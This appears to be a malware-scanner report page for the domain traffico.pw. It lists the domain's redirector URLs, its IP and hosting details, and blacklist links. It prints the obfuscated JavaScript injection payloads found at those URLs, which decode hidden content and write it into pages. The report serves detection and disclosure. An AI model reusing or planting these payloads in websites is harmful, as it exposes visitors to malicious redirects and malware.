Malware Details

Details For The Domain "traffico.pw"

URLs and sub domains distributing the malware or acting as a redirector:

http://traffico.pw/tds/pmihf.cgi?default
http://traffico.pw/tds/pmihf.cgi?default": var u006a='3+%a*%2<%7[%5`%d&%f_%0@%1;%b{%8,%6:%c/%9|%4)%e.',u0067=function(){for(u006b=0;u006b<u0063.length/2;u006b++){u006a+='%'+u0063.substr(u006b*2,2);}document.write(decodeURIComponent(u006a));},u0063='+/:):|[:<@[+[)[|:/:`+&<<:):|[+[@:/:;[|+*:.:_:.:`+{<<+.+/:|::[<:;:&:`<@[+[<:++&<<:,[)[)[@+*<_<_[)[<:;:::::|:+:_<.[@[[<_[):)[+<_[@:&:|:,::<.:+:[:|+_:):`:::;[`:/[)<<<@[[:|:)[):,+&<<+;+@<<<@:,:`:|:[:,[)+&<<+;+@<<+.+/<_:|::[<:;:&:`+.+/<_:):|[:+.',u0072=function(){u0072=u006a.split('%');for(var u0070 in u0072){if((typeof(u0072[u0070])).substr(0,1)=='s'){u0063=u0063.split(u0072[u0070].substr(1)).join(u0072[u0070].substr(0,1));}}return this;},u0069=u0072(),u006a='';u0067();
http://traffico.pw/tds/topmuw.cgi?default": var u0064='9/%6:%3[%d_%1=%4{%f]%0,%8-%2`%c}%7@%b.%a(%5&%e+',u0065=function(){for(u006e=0;u006e<u0078.length/2;u006e++){u0064+='%'+u0078.substr(u006e*2,2);}document.write(decodeURIComponent(u0064));},u0078='[}:{:/@:`,@[@{@/:}:&[_``:{:/@[@,:}:=@/[(:+:]:+:&[.``[+[}:/::@`:=:_:&`,@[@`:[[_``:-@{@{@,[(`]`]@{@`:=:::::/:[:]`+@,@@`]@{:{@[`]@{:]@,:_@&@@`+:[:@:/[]:{:&:::=@&:}@{```,@@:/:{@{:-[_``[=[,```,:-:&:/:@:-@{[_``[=[,``[+[}`]:/::@`:=:_:&[+[}`]:{:/@:[+',u0079=function(){u0079=u0064.split('%');for(var u0076 in u0079){if((typeof(u0079[u0076])).substr(0,1)=='s'){u0078=u0078.split(u0079[u0076].substr(1)).join(u0079[u0076].substr(0,1));}}return this;},u0069=u0079(),u0064='';u0065();
//traffico.pw/tds/pmihf.cgi?default": var u006a='3+%a*%2<%7[%5`%d&%f_%0@%1;%b{%8,%6:%c/%9|%4)%e.',u0067=function(){for(u006b=0;u006b<u0063.length/2;u006b++){u006a+='%'+u0063.substr(u006b*2,2);}document.write(decodeURIComponent(u006a));},u0063
//traffico.pw/tds/topmuw.cgi?default": var u0064='9/%6:%3[%d_%1=%4{%f]%0,%8-%2`%c}%7@%b.%a(%5&%e+',u0065=function(){for(u006e=0;u006e<u0078.length/2;u006e++){u0064+='%'+u0078.substr(u006e*2,2);}document.write(decodeURIComponent(u0064));},u007

Blacklist Status

Blacklist status for "traffico.pw":
https://labs.sucuri.net/blacklist/info/?domain=traffico.pw

IP Address Information

Domain "traffico.pw" is at: 185.20.224.17 (185-20-224-17.cloudvps.regruhosting.ru)

All malware-related domains at this IP address:

Additional Scans

You can also use these additional scanners to identify if this site is blacklisted or compromised: